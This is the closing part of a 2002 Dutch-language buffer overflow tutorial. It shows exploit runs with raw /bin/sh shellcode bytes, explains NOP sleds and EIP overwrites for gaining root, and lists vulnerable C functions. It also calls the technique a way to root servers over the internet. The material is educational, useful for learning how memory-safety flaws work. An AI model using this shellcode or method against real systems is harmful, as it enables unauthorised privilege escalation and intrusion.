[AAAAAAAAANNNNNNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSSSRET]
.....^__________________________________________________________|

 

[Te kleine offset]
sh-2.05$ ./exploit 1
 
[Exploit Written by ravecool] [RC]
[Jmp to 0xbffff7f8]






ë^‰1ÀˆF‰F ° ‰óV Í€1Û‰Ø@Í€èÜÿÿÿ
/bin/shø÷ÿ¿ø÷ÿ¿ø÷ÿ¿ø÷ÿ¿ø÷ÿ¿ø÷ÿ¿ø÷ÿ¿ø÷ÿ¿ø÷ÿ¿ø÷ÿ¿
Segmentation fault
sh-2.05$

Dit werkt dus niet want het return adres wijst nu ergens in de shellcode waardoor niet de hele shellcode uigevoerd word daarom is er nu geen nieuwe shell gestart ($ = gebruiker, # = root). Ook kan de fout melding illegal instruction optreden juist omdat hij dan midden in de shellcode terecht komt en dan kom je zomaar midden in de opdracht en begrijpt je computer er niets meer van.

[Te grote offset]
sh-2.05$ ./exploit 5000
 
[Exploit Written by ravecool] [RC]
[Jump to 0xbfffe460]






ë^‰1ÀˆF‰F ° ‰óV Í€1Û‰Ø@Í€èÜÿÿÿ
/bin/sh`äÿ¿`äÿ¿`äÿ¿`äÿ¿`äÿ¿`äÿ¿`äÿ¿`äÿ¿`äÿ¿`äÿ¿
Segmentation fault
sh-2.05$

Het return adres wijst nu voor de nops en komt ook daar net als met een te kleine offset midden in een reeks van opdrachten waar je computer geen raad mee weet waar door het programma ook crasht.

Andere C instucties die vatbaar zijn voor overflows..

Hier mooie is dat Linux een en al open source is zo dat je zelf de source van een programma kan downloaden en zelf op zoek kan gaan naar bufferoverflows. Hier onder staan een aantal vatbaare instructies.

strcpy
strncpy
strcat
strncat
printf
scanf

Zo als Dvorak zeggen "Let te source be whit you"

 
Conclusie...

Het is dus mogelijk om een programa te exploiten door de stack te manupileren met een eigenlijk bogus stuk tekst wat de offset van de EBP register overschrijft waardoor ook de EIP overschreven word.Deze valse EIP zal pointen naar de nops in de buffer tekst waarna de shellcode met hogere rechten word uitgevoerd deze rechten worden aan jouw door gegeven door de shell die gestart word. De opdrachten "whoami"of "id" kunnen je na de hack tonen of je hack gelukt is of niet. Er zijn dingen die toegegeven moeten worden want het leren van en begrijpen van een exploit van dit nivo kan een royal paint in the ass zijn, maar het is een mooie manier on een server via internet te rooten (verwar dit woord niet met router = gateway) .. Ik zal nog een 2e deel voor dit document schrijven wat gaat over manieren om het return adres te bemachtigen zonder het door de exploit te laten gokken offsets worden dan overbodig..

 

Slotwoord...

Rechten... Mensen spring een beetje nuttig om met deze informatie en ga geen onschuldige slachtoffers maken maar verdedig de vrijheid die je hebt, en kom op voor de mensen die wel de onschuldige zijn en vecht met ons mee tegen systeem beheerders die hun gebruikers quota's toewijzen.Waarom zou je je mischien afvragen ?,echte hacker die online actief zijn zijn vaak anargisties ingesteld geloofend in een wereld zonder bestuur en opkomend voor de mensen rechten net als ik.. Dus mensen ik vraag het nog 1x gebruik deze kennis nuttig en en hack geen site's zo als die van ammesty want we hebben die mensen nog hard nodig in een wereld waar totale wanhoop dichterbij is dan een vrede lievende wereld gevuld met harmonie.

Disclaimer

Zo als ik al in het slotwoord heb verteld heb ik liever niet dat er onschuldige slachtoffers gemaakt worden. Maar anyways ik ben niet aansprakelijk nog ground group zero underground networks en 'tcuh networks'.Dat komt omdat dit een educatief document is over bufferoverflows wat je kennis geefd om bijvoorbeeld je router te testen op te kleine buffers waardoor een hacker binnen kan dringen op je systeempie . Maar daarin tegen mag je wel log Emailtjes sturen naar [email protected] ook kan je op dit adres vragen stellen en commentaar leveren. Ik heb dit document samen met Cracker afgemaakt op kamp marschall en bevat geen stukken tekst uit andere bufferoverflow tutorials..

 

 

[Rc][2002][TCuH] & [GGZ]

-Groetjes aan-
Ziro
r00t
Stty0
SnAke
AssEmblr
AdNaRiM
NadienTje
Aleph one
Dvorak
Bussy D (Whe Know Him all!![No FOEBAR])
-Gemaakt Door-
Ravecool
They Call us Hackers & ground group zero underground networks
[email protected] / [email protected]
http://ziro.tk
 
-Reverenties-
* H4H Magazine #05 Bufferoverflows: "da guide"
* Neworder.box.sk
* Pc Beveilig van sybex
* Alle andere Sites over Assembler
Hosted by www.Geocities.ws

1